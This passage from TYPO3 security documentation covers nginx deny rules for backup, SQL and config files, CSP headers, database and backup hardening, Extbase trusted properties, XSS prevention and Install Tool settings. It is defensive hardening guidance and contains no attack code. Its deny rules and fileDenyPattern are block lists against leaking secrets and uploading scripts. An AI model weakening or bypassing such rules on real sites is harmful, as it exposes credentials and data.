ensure sensitive files are never stored in the web root at all. Blocking access
by file name patterns is unreliable, as future file names cannot be predicted.
Verification of access restrictions in Classic-mode installations
Administrators must verify that access to sensitive files is properly denied.
Attempting to access any of the following files should result in an HTTP 403
error:
In classic mode, TYPO3 automatically creates default web server config files
(.htaccess for Apache, web.config for IIS) to deny access to
common sensitive files and directories.
These blacklist-style rules require ongoing maintenance. Administrators should
regularly compare their config files with the TYPO3 reference templates:
NGINX Web Servers configuration (both installation modes)
NGINX does not support .htaccess or similar per-directory configuration
so TYPO3 cannot install default protection automatically. Instead, administrators
must include appropriate deny rules in the virtual host configuration.
A sample configuration is provided by DDEV:
nginx-site-typo3.conf
# Support for WebP
map $http_accept $webp_suffix {
default "";
"~*webp" ".webp";
}
# /index.php is used for TYPO3 v14+
# /typo3/index.php is used for TYPO3 pre-v14
map $typo3_index_exists $typo3_index {
default "/index.php";
1 "/typo3/index.php";
}
server {
listen 80 default_server;
listen 443 ssl default_server;
root {{ .Docroot }};
ssl_certificate /etc/ssl/certs/master.crt;
ssl_certificate_key /etc/ssl/certs/master.key;
include /etc/nginx/monitoring.conf;
index index.php index.htm index.html;
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;
error_log /dev/stdout info;
access_log /var/log/nginx/access.log;
# Security: Content-Security-Policy
# =================================
#
# Add CSP header for possible vulnerable files stored in fileadmin see:
# * https://typo3.org/security/advisory/typo3-psa-2019-010
# * https://docs.typo3.org/m/typo3/reference-coreapi/master/en-us/Security/GuidelinesAdministrators/ContentSecurityPolicy.html
# * https://github.com/TYPO3/TYPO3.CMS/blob/master/typo3/sysext/install/Resources/Private/FolderStructureTemplateFiles/resources-root-htaccess
# matching requested *.pdf files only (strict rules block Safari showing PDF documents)
location ~ /(?:fileadmin|uploads)/.*\.pdf$ {
add_header Content-Security-Policy "default-src 'self' 'unsafe-inline'; script-src 'none'; object-src 'self'; plugin-types application/pdf;";
}
# matching anything else, using negative lookbehind pattern
location ~ /(?:fileadmin|uploads)/.*(?<!\.pdf)$ {
add_header Content-Security-Policy "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';";
# Deliver media files as WebP if available. The file as WebP must be in
# the same place (Original: "example.jpg", WebP: "example.jpg.webp").
try_files $uri$webp_suffix $uri =404;
}
# TYPO3 11 Frontend URL rewriting support
location / {
absolute_redirect off;
try_files $uri $uri/ /index.php$is_args$args;
}
# TYPO3 11 Backend URL rewriting support
location = /typo3 {
rewrite ^ /typo3/;
}
# check if /typo3/index.php exists
set $typo3_index_exists 0;
if (-f $document_root/typo3/index.php) {
set $typo3_index_exists 1;
}
location /typo3/ {
absolute_redirect off;
try_files $uri $typo3_index$is_args$args;
}
# pass the PHP scripts to FastCGI server listening on socket
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/run/php-fpm.sock;
fastcgi_buffers 16 16k;
fastcgi_buffer_size 32k;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_intercept_errors off;
# fastcgi_read_timeout should match max_execution_time in php.ini
fastcgi_read_timeout 10m;
fastcgi_param SERVER_NAME $host;
fastcgi_param HTTPS $fcgi_https;
# Pass the X-Accel-* headers to facilitate testing.
fastcgi_pass_header "X-Accel-Buffering";
fastcgi_pass_header "X-Accel-Charset";
fastcgi_pass_header "X-Accel-Expires";
fastcgi_pass_header "X-Accel-Limit-Rate";
fastcgi_pass_header "X-Accel-Redirect";
}
# Compressing resource files will save bandwidth and so improve loading speed especially for users
# with slower internet connections. TYPO3 can compress the .js and .css files for you.
# *) Set $GLOBALS['TYPO3_CONF_VARS']['BE']['compressionLevel'] = 9 for the Backend
# *) Set $GLOBALS['TYPO3_CONF_VARS']['FE']['compressionLevel'] = 9 together with the TypoScript properties
# config.compressJs and config.compressCss for GZIP compression of Frontend JS and CSS files.
location ~ \.js\.gzip$ {
add_header Content-Encoding gzip;
gzip off;
types { text/javascript gzip; }
}
location ~ \.css\.gzip$ {
add_header Content-Encoding gzip;
gzip off;
types { text/css gzip; }
}
# Prevent clients from accessing hidden files (starting with a dot)
# This is particularly important if you store .htpasswd files in the site hierarchy
# Access to `/.well-known/` is allowed.
# https://www.mnot.net/blog/2010/04/07/well-known
# https://tools.ietf.org/html/rfc5785
location ~* /\.(?!well-known\/) {
deny all;
}
# Prevent clients from accessing to backup/config/source files
location ~* (?:\.(?:bak|conf|dist|fla|in[ci]|log|psd|sh|sql|sw[op])|~)$ {
deny all;
}
location = /favicon.ico {
log_not_found off;
access_log off;
}
# TYPO3 - Block access to composer files
location ~* composer\.(?:json|lock) {
deny all;
}
# TYPO3 - Block access to flexform files
location ~* flexform[^.]*\.xml {
deny all;
}
# TYPO3 - Block access to language files
location ~* locallang[^.]*\.(?:xml|xlf)$ {
deny all;
}
# TYPO3 - Block access to static typoscript files
location ~* ext_conf_template\.txt|ext_typoscript_constants\.(?:txt|typoscript)|ext_typoscript_setup\.(?:txt|typoscript) {
deny all;
}
# TYPO3 - Block access to miscellaneous protected files
location ~* /.*\.(?:bak|co?nf|cfg|ya?ml|ts|typoscript|dist|fla|in[ci]|log|sh|sql)$ {
deny all;
}
# TYPO3 - Block access to recycler and temporary directories
location ~ _(?:recycler|temp)_/ {
deny all;
}
# TYPO3 - Block access to configuration files stored in fileadmin
location ~ fileadmin/(?:templates)/.*\.(?:txt|ts|typoscript)$ {
deny all;
}
# TYPO3 - Block access to libaries, source and temporary compiled data
location ~ ^(?:vendor|typo3_src|typo3temp/var) {
deny all;
}
# TYPO3 - Block access to protected extension directories
location ~ (?:typo3conf/ext|typo3/sysext|typo3/ext)/[^/]+/(?:Configuration|Resources/Private|Tests?|Documentation|docs?)/ {
deny all;
}
if (!-e $request_filename) {
rewrite ^/(.+)\.(\d+)\.(php|js|css|png|jpg|gif|gzip)$ /$1.$3 last;
}
include /etc/nginx/common.d/*.conf;
include /mnt/ddev_config/nginx/*.conf;
}
Directory indexing allows web servers to list the contents of directories
when no default file (like index.html) is present. If enabled, it can
expose sensitive file structures to the public or search engines.
This section explains how to disable directory indexing for TYPO3 across
common web servers.
This applies to Nginx installations where settings are configured in the
server block (virtual host configuration).
Although directory listing is disabled by default in Nginx, you can explicitly
disable it by setting autoindex off;:
/etc/nginx/sites-available/myhost.com
server {
location /var/www/myhost/public {
autoindexoff;
}
}
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Disable indexing in IIS (Windows Server)
This applies to IIS web servers on Windows Server systems.
Directory listing is disabled by default. If enabled, you can turn it off using
the IIS Manager:
Open the Directory Browsing settings
Set the feature to Disabled
Or use the command line:
command line
appcmd set config /section:directoryBrowse /enabled:false
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File extension handling
Most web servers have a default configuration
mapping file extensions like .html or .txt
to corresponding mime-types like text/html or text/plain.
The focus in this section is on handling multiple extensions like .html.txt -
in general the last extension part (.txt in .html.txt) defines the mime-type:
file.html shall use mime-type text/html
file.html.txt shall use mime-type text/plain
file.html.wrong shall use mime-type text/plain (but especially not text/html)
Apache's mod_mime documentation explains their handling of files having multiple extensions.
Directive TypesConfig and using a mime.types map probably
leads to unexpected handling of extension .html.wrong as mime-type text/html:
AddType text/html html htm
AddType image/svg+xml svg svgz
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Global settings like shown in the example above
are matching .html and .html.wrong file extension
and have to be limited with <FilesMatch>:
In case these settings cannot be applied to the global server configuration,
but only to .htaccess it is recommended to remove the default behavior:
.htaccess
RemoveType .html .htm
RemoveType .svg .svgz
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The scenario is similar when it comes to evaluate PHP files -
it is totally expected and fine for files like test.php (ending with .php) -
but it is definitively unexpected for files like test.php.html
(having .php somewhere in between).
The expected default configuration should look like the following
(adjusted to the actual PHP script dispatching via CGI, FPM or any other type):
Content security policy (CSP_) is an added layer of security that helps
to detect and mitigate certain types of attacks, including cross-site
scripting (XSS) and data injection attacks. These attacks are used for
everything from data theft to site defacement to the distribution of malware.
According to TYPO3-PSA-2019-010 authenticated users - but not having
administrator privileges - are allowed to upload files to their granted
file mounts (e.g. fileadmin/ in most cases). This also includes the
possibility to upload potential malicious code in HTML or SVG files
(using JavaScript, injecting cross-site scripting vulnerabilities).
To mitigate these potential scenarios it is advised to either
deny uploading files as described in TYPO3-PSA-2019-010 (which might be
impractical for some sites) or add content security policy headers for
these directories - basically all public available base directories of
file storages (sys_file_storage).
Please note that the CSP configuration in Content Security Policy
only applies to pages served by TYPO3 (when PHP is involved, allowing
the configured Middleware to be utilized).
Files that are not served by TYPO3, as is the case with files in fileadmin/, need
manual server configuration if CSP is to be applied, for example to .svg files
to prevent possible execution and loading of further
remote resources or scripts.
The following example sends a corresponding CSP header for any file
accessed via https://example.org/fileadmin/...:
# placed in fileadmin/.htaccess on Apache 2.x webserver<IfModule mod_headers.c>Header set Content-Security-Policy "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';"</IfModule>
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For nginx webservers, the following configuration example can be used to send
a CSP header for any file accessed via https://example.org/fileadmin/...:
map$request_uri$csp_header {
~^/fileadmin/ "default-src'self'; script-src'none'; style-src'none'; object-src'none';";
}
server {
# Add strict CSP header depending on mapping (fileadmin only)add_header Content-Security-Policy $csp_header;
# ... other add_header declarations can follow here
}
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The nginx example configuration uses a map, since top level add_header
declarations will be overwritten if add_header is used in sublevels
(e.g. location) declarations.
The TYPO3 database stores all user data (both backend and frontend), along with
critical configuration and content. It is essential to protect this data from
unauthorized access.
These recommendations apply to both self-managed and shared hosting environments.
If you are using managed or shared hosting, you may not be responsible for
configuring the database yourself. However, it is still important to ensure
that your TYPO3 installation uses a dedicated database user with limited
permissions. If you are unsure, ask your hosting provider whether the database
user has access only to your TYPO3 database and is restricted to the minimum
required privileges.
When using MySQL, database users must authenticate before connecting.
Permissions are granted at various levels (for example, per database,
per table, or per action such as SELECT or INSERT).
Do not use obvious usernames like root, admin, or typo3.
Create a dedicated user with access only to the TYPO3 database, and only
with the permissions it requires (SELECT, INSERT, UPDATE, DELETE, etc.).
Avoid granting administrative privileges such as LOCK TABLES, FILE,
PROCESS, RELOAD, or SHUTDOWN unless absolutely necessary.
Keep SQLite files out of the web root
SQLite stores the database in a single file. By default, TYPO3 places this file
in the var/sqlite directory, derived from the
TYPO3_PATH_APP environment variable.
Warning: In non-Composer installations, if
TYPO3_PATH_APP is not set,
the SQLite file may be created in typo3conf/, which is inside the web
server's document root and publicly accessible.
If you are using SQLite:
Ensure that .sqlite files are not accessible via the web server
Move the database file outside of the document root if possible
Restrict database server access
The database server should only accept connections from the TYPO3 application
host. It must never be exposed to the public internet.
Recommended actions:
Configure firewalls to block external access to the database port
Ensure the database server is bound only to localhost or a private network
For MySQL, review the options skip-networking and bind-address in the
official documentation:
MySQL Server Options
Avoid web-based database tools in production
Tools like phpMyAdmin provide web access to the database for administrative
tasks. While sometimes helpful during development, they increase the attack
surface in production environments.
If such tools must be used:
Protect them with additional access controls, such as HTTP authentication
(for example, Apache .htaccess)
Keep them updated to patch known vulnerabilities
For local development or secure remote access, prefer standalone database
clients such as HeidiSQL, DBeaver,
or MySQL Workbench. These tools
connect directly to the database server and do not expose a web interface,
reducing the attack surface.
Recommendation: Do not use phpMyAdmin or similar tools on live TYPO3 sites.
All regular access to the database should be managed through TYPO3 or CLI tools.
Backups and recovery
A secure TYPO3 setup must include a working backup strategy. Backups allow you to
recover from data loss, attacks, or misconfiguration. However, backups themselves
can also be a security risk if stored in the web root or transmitted without encryption.
For full recommendations on what to back up, how to store backups securely, and how
to automate and test them, see:
For full recommendations on how to handle backups securely, see
Backup strategy.
Avoid exposed backups in the web root
Never store backup files inside the web server's document root. If backups
(for example .zip, .sql, .tar.gz) are accessible via a browser, they pose a
serious security risk. Attackers can download and extract sensitive data such
as:
TYPO3 configuration and database credentials
Backend user accounts and hashed passwords
Customer records or uploaded files
Backups should always be stored outside the document root, and access to
them must be restricted. Obscure file names or hidden URLs are not
sufficient protection.
Backup retention for security incidents
From a security standpoint, backup retention is not just about restoring lost
data — it is also about enabling recovery from undetected attacks or
delayed compromises.
If an attacker gains access to your system, malicious changes may go unnoticed
for days or even weeks. In such cases, a single recent backup may already
contain injected code, altered configuration, or corrupted data.
To reduce the risk of restoring a compromised state, follow a backup rotation
strategy that keeps versions from multiple time periods. For example:
One daily backup for the last 7 days
One weekly backup for the last 4 weeks
One monthly backup for the last 6 months
One yearly backup for each of the last several years
This allows you to restore from a known-good state before compromise and
support forensic investigations into when and how an incident occurred.
Backups should be tested regularly to confirm they are complete and restorable.
Use HTTPS and encrypted connections
Why your TYPO3 site should always use HTTPS — and how to protect other
data in transit.
Encrypt TYPO3 backend access
A risk of unencrypted client/server communication is that an attacker
could eavesdrop the data transmission and "sniff" sensitive
information such as access details. Unauthorized access to the TYPO3
backend, especially with an administrator user account, has a
significant impact on the security of your website. It is clear that
the use of TLS for the backend of TYPO3 improves the security.
TYPO3 supports a TLS encrypted backend and offers some specific
configuration options for this purpose, see configuration option
lockSSL.
Encrypt website frontend with HTTPS
Transport Layer Security (TLS)
is the standard technology for encrypting communication between a web browser
and a server. It ensures that data (like login details or form entries) stays
private and cannot be altered or intercepted.
TLS uses certificates to verify the identity of a website. These certificates
contain details such as the domain name and organization behind the site.
Whenever sensitive data is exchanged between a visitor and your TYPO3 website,
you should use an encrypted connection — typically by using https:// instead
of http://.
For online shops or payment gateways, encryption is often required by card issuers
or financial institutions. Always check the security policies of your payment provider.
Classify and protect sensitive data
Data sensitivity depends on the type of information being handled. Examples of
"sensitive" data include:
Login credentials
Personal details (e.g., names, addresses)
Medical and financial records
Classifying your data helps determine how it must be stored, transmitted, and protected.
Use a model that categorizes data by disclosure risk and legal or organizational impact.
The secure and maybe encrypted storage of sensitive data should also
be considered.
The safest policy: do not store or transmit sensitive data unless absolutely necessary.
Avoid FTP — use secure alternatives
Encryption should also be used for server access methods beyond the browser.
Never use plain FTP. Instead, use encrypted alternatives such as:
SFTP (SSH File Transfer Protocol)
FTPS (FTP Secure)
SSH (Secure Shell)
These protocols encrypt credentials and data during transfer, reducing the risk
of interception or unauthorized access.
Avoid insecure file uploads
Uploading untrusted scripts (e.g. PHP, Perl, Python) or executables into the
web root is a major security risk. TYPO3 prevents this via backend restrictions
(see Global TYPO3 configuration options).
These safeguards are bypassed if services like FTP,
SFTP, SSH, or
WebDAV allow direct file
uploads—commonly into fileadmin/.
Such access can lead to:
Upload of malicious scripts
TYPO3 Core files being overwritten
Abuse via leaked credentials
Recommended actions:
Disable FTP/SFTP/SSH access to the document root for users.
Use the TYPO3 backend for file uploads.
Enforce secure upload policies in the TYPO3 file storage configuration.
Warning
The TYPO3 Security Team considers FTP to be insecure due to the lack of encryption.
Do not use FTP under any circumstances.
Server- and environment-level security
In addition to TYPO3-specific hardening, system administrators are also
responsible for maintaining a secure hosting environment, PHP configuration,
and monitoring systems. This section highlights complementary actions to
strengthen the overall security posture.
Keep the hosting environment minimal and secure
Administrators should maintain a minimal, secure server setup. Each service
(web, mail, database, DNS, etc.) is a potential attack vector. A compromise in
one component can endanger the entire environment, including TYPO3.
Best practices:
Disable unnecessary services
Keep all system software up to date, including PHP, the web server,
database, and other services
Isolate systems where possible
A slim, well-maintained environment improves both performance and security.
If in-house server administration is not feasible, consider using a reputable
managed hosting provider that specializes in TYPO3 or PHP applications.
Use secure PHP settings
TYPO3 runs on PHP, so secure PHP configuration is critical. Useful options
include:
open_basedir to restrict accessible directories
disable_functions to disable risky PHP functions
If you rely on external services and don't have curl support, you may need to
enable allow_url_fopen.
Be aware that blocking outbound traffic (e.g. via firewall) can prevent TYPO3
from retrieving extension updates or translation files.
Monitor failed backend logins
Failed backend logins and other security-related events are logged using the
TYPO3 logging framework.
Admins can configure a dedicated log file for authentication messages and use
external tools like fail2ban to respond to
suspicious activity.
Clickjacking tricks users into clicking hidden UI elements via transparent
layers or iframes. TYPO3 protects its backend by sending the HTTP header
X-Frame-Options, which blocks embedding backend pages in external domains
(see RFC 7034).
To extend protection to the frontend, configure the web server:
SAMEORIGIN: Allow frames from the same origin only
DENY: Block all framing
ALLOW-FROM [uri]: Allow framing from a specific origin (less supported)
Security guidelines for extension developers
TYPO3 extensions can introduce critical vulnerabilities if not securely coded.
This chapter outlines secure development practices for extension developers,
with a focus on user input handling, database queries, and protecting against
common attacks such as SQL injection and cross-site scripting (XSS).
All input data your extension receives from the user can be potentially malicious.
That applies to all data being transmitted via GET and POST requests. You can never trust
where the data came from as your form could have been manipulated.
Cookies should be classified as potentially malicious as well because they may
have also been manipulated.
Always check if the format of the data corresponds
with the format you expected. For example, for a
field that contains an email address, you should check that a valid email
address was entered and not any other text.
Queries in the query language of Extbase are automatically escaped.
However manually created SQL queries are subject to be attacked by
SQL injection.
All SQL queries should be made in a dedicated class called a repository. This
applies to Extbase queries, Doctrine DBAL QueryBuilder queries and pure SQL queries.
Attention
Always escape any user input with
createNamedParameter()
in queries created by the QueryBuilder.
Trusted properties (Extbase Only)
Danger
Be aware that request hashes (HMAC) do not protect against Identity field manipulation.
An attacker can modify the identity field value and can then update the value of
another record, even if they do not usually have access to it. You have to
implement your own validation for the Identity field value (verify ownership
of the record, add another hidden field that validates the identity field
value).
In Extbase there is transparent argument mapping applied: All properties that
are to be sent are changed transparently on the object. Certainly, this
implies a safety risk, that we will explain with an example: Assume we
have a form to edit a user object. This object has the
properties username, email, password and
description. We want to provide the user with a form to change all
properties except the username (because the username should not be
changed in our system).
Because the
__identity property and further properties
are set, the argument mapper gets the object from the persistence layer,
makes a copy and then applies the changed properties to the object. After
this we call the
update($user) method for the
corresponding repository to make the changes persistent.
What happens if an attacker manipulates the form data and transfers
an additional field
username to the server? In this case the
argument mapping would also change the
$username property of
the cloned object - although we did not want this property to
be changed by the user itself.
To avoid this problem, Fluid creates a hidden form field
__trustedProperties
which contains information about what properties are to be trusted.
Once a request reaches the server, the property mapper of Extbase
compares the incoming fields with the property names, defined by the
__trustedProperties argument.
As the content of said field could also be manipulated by the client, the
field contains a serialized array of trusted properties and
a hash of that array. On the server-side, the hash is also compared
to ensure the data has not been tampered with on the client-side.
Only the form fields generated by Fluid with the
appropriate ViewHelpers are transferred to the server. If an attacker
tries to add a field on the client-side, this is
detected by the property mapper, and an exception will be thrown.
In general,
__trustedProperties should work completely transparently
for you. You do not have to know how it works in detail. You have to know
this background knowledge only if you want to change data via JavaScript
or web services.
Prevent cross-site scripting
Fluid contains some integrated techniques to secure web applications
by default. One of the more important features is automatic
prevention against cross site scripting, a common
attack against web applications. In this section, we give you a problem
description and show how you can avoid
cross-site scripting (XSS).
Assume you have programmed a forum. An malicious user will get access
to the admin account. To do this, they posted the following message
in the forum to try to embed JavaScript code:
When the forum post gets displayed, if the forum's programmer
has not made any additional security precautions, a JavaScript popup "XSS" will be
displayed. The
attacker now knows that any JavaScript he writes in a post is executed
when displaying the post - the forum is vulnerable to cross-site
scripting. Now the attacker can replace the code with a more complex
JavaScript program that, for example, can read the cookies of the visitors
of the forum and send them to a certain URL.
If an administrator retrieves this prepared forum post, their session
ID (that is stored in a cookie) is transferred to the attacker. In a worst case scenario,
the attacker gets administrator privileges
(Cross-site request forgery (XSRF)).
How can we prevent this? We must encode all special characters with a call
of
htmlspecialchars(). With this, instead of
<script>..</script> the safe result is delivered
to the browser:
&lt;script&gt;...&lt;/script&gt;. So the
content of the script tag is no longer executed as JavaScript but only
displayed.
But there is a problem with this: If we forget or fail to encode input
data just once, an XSS vulnerability will exist in the system.
In Fluid, the output of every object accessor that occurs in a
template is automatically processed by
htmlspecialchars(). But
Fluid uses
htmlspecialchars() only for templates with the
extension .html. If you use other output formats, it is disabled, and you
have to make sure to convert the special characters correctly.
{variable1}
<f:format.cropappend="{variable2}">a very long text</f:format.crop>
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The content of {variable1} is sent to
htmlspecialchars(), the content of {variable2} is not
changed. The ViewHelper must retrieve the unchanged data because we can not
foresee what should be done with it. For this reason, ViewHelpers
that output parameters directly have to handle special characters correctly.
Security guidelines for TYPO3 integrators
TYPO3 integrators are responsible for configuring and customizing the system,
installing extensions, and managing backend access. Their work plays a critical
role in the overall security of a TYPO3 site.
This chapter outlines key responsibilities and security recommendations for
TYPO3 integrators.
Please see the chapters below for further security related topics of interest
for integrators:
A TYPO3 integrator develops the template for a website, selects,
imports, installs and configures extensions and sets up access rights
and permissions for editors and other backend users. An integrator
usually has "administrator" access to the TYPO3 system, should have a
good knowledge of the general architecture of TYPO3 (frontend,
backend, extensions, TypoScript, TSconfig, etc.) and should be able to
configure a TYPO3 system properly and securely.
Integrators know how to use the Install Tool, the meaning of
configurations in config/system/settings.php and the basic
structure of files and directories used by TYPO3.
The installation of TYPO3 on a web server or the configuration of the
server itself is not part of an integrator's duties but of a system
administrator. An integrator does not develop
extensions but should have basic programming skills and database knowledge.
The TYPO3 integrator knows how to configure a TYPO3 system, handed
over from a system administrator after the installation. An integrator
usually consults and trains editors (end-users of the system, e.g. a
client) and works closely together with system administrators.
The role of a TYPO3 integrator often overlaps with a system
administrator and often one person is in both roles.
General rules
All general rules for a system administrator
also apply for a TYPO3 integrator. One of the most important rules is to change the
username and password of the "admin" account immediately after a TYPO3 system
was handed over from a system administrator to an integrator, if not
already done. The same applies to the Install Tool password, see
below.
In addition, the following general rules apply for a TYPO3 integrator:
Ensure backend users only have the permissions they need to do their
work, nothing more – and especially no administrator privileges, see
explanations below.
Ensure, the TYPO3 sites they are responsible for, always run a stable
and secure TYPO3 Core version and always and only contain secure extensions
(integrators update them immediately if a vulnerability has been
discovered).
Stay informed about TYPO3 Core updates. Integrators should know the
changes when new TYPO3 major versions are released and should be aware
of the impacts and risks of an update.
Integrators check for extension updates regularly and/or they know how
to configure a TYPO3 system to notify them about new extension
versions.
Install tool
The Install Tool allows you to configure the TYPO3 system on a very
low level, which means, not only the basic settings but also the most
essential settings can be changed.
Enabling and accessing the Install Tool
Introduction
A TYPO3 backend account is not required in order to access the Install
Tool, so it is clear that the Install Tool requires some special attention
(and protection).
TYPO3 comes with a two-step mechanism out-of-the-box to protect the
Install Tool against unauthorized access:
The ENABLE_INSTALL_TOOL file must exist in order for the Install
Tool to be accessible.
An Install Tool password is required. This password is independent of
all backend user passwords.
The Install Tool can be found as a stand-alone application via https://example.org/typo3/install.php.
It is also accessible in the backend,
but only for logged-in users with administrator and maintainer privileges.
You usually need write access to this directory on the server level (for example,
via SSH, SFTP, etc.) or you can create this file as a backend user with
administrator privileges.
Tip
Add the ENABLE_INSTALL_TOOL file to your project's
.gitignore
file to avoid accidentally committing and deploying it to production
environments.
Screen to enable the Install Tool
Caution
This file should be removed or renamed after use to secure the
Install Tool and prevent unauthorized access.
TYPO3 automatically
deletes the ENABLE_INSTALL_TOOL file when you log out of the Install
Tool or if the file is older than 60 minutes (expiry time).
The file can be prevented from being deleted if it contains "KEEP_FILE" as
content. In this case it will not be deleted automatically! Only use this
feature during local development, for example in
DDEV!
The Install Tool password
The password for accessing the Install Tool is stored using the
configured password hash mechanism set for the backend
in the global configuration file config/system/settings.php:
The Install Tool password is set during the
installation process. This means, in the case that a system administrator
hands over the TYPO3 instance to you, it should also provide you
with the appropriate password.
The first thing you should do, after taking over a new TYPO3 system from
a system administrator, is to change the password to a new and secure one.
Log-in to the Install Tool and change it there.
Screen to change the Install Tool password
Accessing the Install Tool in the backend
The System Maintainer role allows for selected backend users to access the
Admin Tools components from within the backend without further
security measures.
The number of system maintainers should be as low as possible to mitigate
the risks of corrupted accounts.
Users can be assigned the role in the Settings section of
Install Tool -> Manage System Maintainers.
It is also possible to manually modify the list by adding or removing the
user's UID (
be_users.uid) in config/system/settings.php:
For additional security, the folders typo3/install and typo3/sysext/install
can be deleted, or password protected on a server level (e.g. by a web
server's user authentication mechanism). Please keep in mind that
these measures have an impact on the usability of the system. If you
are not the only person who uses the Install Tool, you should
discuss the best approach with the team.
TYPO3 Core updates
In Classic mode installations the Install Tool allows integrators to update the
TYPO3 Core with a click on a button. This feature can be found under
Important actions, and it checks/installs revision updates only
(that is, bug fixes and security updates).
This feature can be disabled by an environment variable:
TYPO3_DISABLE_CORE_UPDATER=1
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Encryption key
The encryptionKey can be found in the Install Tool (module
Settings > Configure Installation-Wide Options).
This string, usually a hexadecimal hash value of 96 characters, is used
as the salt for various kinds of encryptions, checksums and validations
(for example for the cHash). Therefore, a change
of this value invalidates temporary information, cache content, etc.
and you should clear all caches after you changed this value in order
to force the rebuild of this data with the new encryption key.
Attention
Keep in mind that this string is security-related and you should keep
it in a safe place.
Generating the encryption key
The encryption key should be a random 96 characters long hexadecimal string.
You can for example create it with OpenSSL:
openssl rand -hex 48
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It is possible to generate the encryption key via an API within TYPO3:
use \TYPO3\CMS\Core\Crypto\Random;
use \TYPO3\CMS\Core\Utility\GeneralUtility;
$encryptionKey = GeneralUtility::makeInstance(Random::class)->generateRandomHexString(96);
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Global TYPO3 configuration options
The following configuration options are accessible and changeable via
the Install Tool (recommended way) or directly
in the file config/system/settings.php. The list below is in
alphabetical order - not in the order of importance (all are relevant but the
usage depends on your specific site and requirements).
This configuration option controls
whether PHP errors should be displayed or not (information disclosure). Possible
values are: -1, 0, 1 (integer) with the following meaning:
-1
This overrides the PHP setting
display_errors.
If devIPmask matches the user's IP address the
configured
debugExceptionHandler is used for exceptions,
if not, productionExceptionHandler will be used. This is the default setting.
0
This suppresses any PHP error messages, overrides the value of exceptionalErrors
and sets it to 0 (no errors are turned into exceptions), the configured
productionExceptionHandler is used as exception handler.
1
This shows PHP error messages with the registered error handler.
The configured debugExceptionHandler is used as exception handler.
The PHP variable reads:
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']
devIPmask
The option devIPmask defines a comma-separated list
of IP addresses which will allow development output to display (information
disclosure). The
debug() function will use this as a filter. Setting this
to a blank value will deny all (recommended for a production site). Setting this
to * will show debug messages to every client without any restriction
(definitely not recommended). The default value is 127.0.0.1,::1
which means "localhost" only.
The PHP variable reads:
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] `
fileDenyPattern
The fileDenyPattern is a
Perl-compatible regular expression that (if it matches a file name) will prevent
TYPO3 from accessing or processing this file (deny uploading, renaming, etc).
For security reasons, PHP files as well as Apache's .htaccess file
should be included in this regular expression string. The default value is:
\\.(php[3-8]?|phpsh|phtml|pht|phar|shtml|cgi)(\\..*)?$|\\.pl$|^\\.htaccess$,
initially defined in constant
\TYPO3\CMS\Core\Resource\Security\FileNameValidator::FILE_DENY_PATTERN_DEFAULT.
There are only a very few scenarios imaginable where it makes sense to
allow access to those files. In most cases backend users such as
editors must not have the option to upload/edit PHP files or other
files which could harm the TYPO3 instance when misused. Even if you
trust your backend users, keep in mind that a less restrictive
fileDenyPattern would enable an attacker to compromise the system if
it only gained access to the TYPO3 backend with a normal, unprivileged user account.
The PHP variable reads:
$GLOBALS['TYPO3_CONF_VARS']['BE']['fileDenyPattern']
IPmaskList
Some TYPO3 instances are maintained by a selected group of integrators
and editors who only work from a specific IP range or (in an ideal
world) from a specific IP address only. This could be, for example, an
office network with a static public IP address. In this case, or in
any case where the client's IP addresses are predictable, the IPmaskList
configuration may be used to limit the access to the TYPO3 backend.
The string configured as IPmaskList is a
comma-separated list of IP addresses which are allowed to access the backend.
The use of wildcards is also possible to specify a network. The following
example opens the backend for users with the IP address 123.45.67.89 and from
the network 192.168.xxx.xxx:
If a frontend or backend user logs into TYPO3, the user's session can be locked
to its IP address. The lockIP configuration for IPv4 and lockIPv6 for IPv6
control how many parts of the IP address have to match with the IP address used
at authentication time.
Attention
IP locking breaks modern IPv6 setups because of the
Fast Fallback aka. Happy Eyeballs
algorithm that can cause users to jump between IPv4 and IPv6
arbitrarily. Enabling an IP lock should be a very conscious decision. Therefore,
this is disabled by default.
Possible values for IPv4 are: 0, 1, 2, 3 or 4 (integer)
with the following meaning:
0
Disable IP locking entirely.
1
Only the first part of the IPv4 address needs to match, e.g. 123.xxx.xxx.xxx.
2
Only the first and second part of the IPv4 address need to match, e.g. 123.45.xxx.xxx.
3
Only the first, second and third part of the IPv4 address need to match, e.g. 123.45.67.xxx.
4
The complete IPv4 address has to match (e.g. 123.45.67.89).
Possible values for IPv6 are: 0, 1, 2, 3, 4, 5, 6, 7, 8 (integer)
with the following meaning:
0
Disable IP locking entirely.
1
Only the first block (16 bits) of the IPv6 address needs to match, e.g. 2001:
2
The first two blocks (32 bits) of the IPv6 address need to match, e.g. 2001:0db8.
3
The first three blocks (48 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3
4
The first four blocks (64 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3
5
The first five blocks (80 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319
6
The first six blocks (96 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e
7
The first seven blocks (112 bits) of the IPv6 address need to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370
8
The full IPv6 address has to match, e.g. 2001:0db8:85a3:08d3:1319:8a2e:0370:7344
If your users experience that their sessions sometimes drop out, it
might be because of a changing IP address (this may happen with
dynamic proxy servers for example) and adjusting this setting could
address this issue. The downside of using a lower value than the default is a
decreased level of security.
Keep in mind that the lockIP and lockIPv6 configurations are available for
frontend (
['FE']['lockIP'] and
['FE']['lockIPv6']) and backend
(
['BE']['lockIP'] and
['BE']['lockIPv6']) sessions separately, so
four PHP variables are available:
$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIP']
$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIPv6']
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIPv6']
lockSSL
As described in encrypted client/server communication, the use of https:// scheme
for the backend and frontend of TYPO3 drastically improves the security.
The lockSSL configuration controls if the
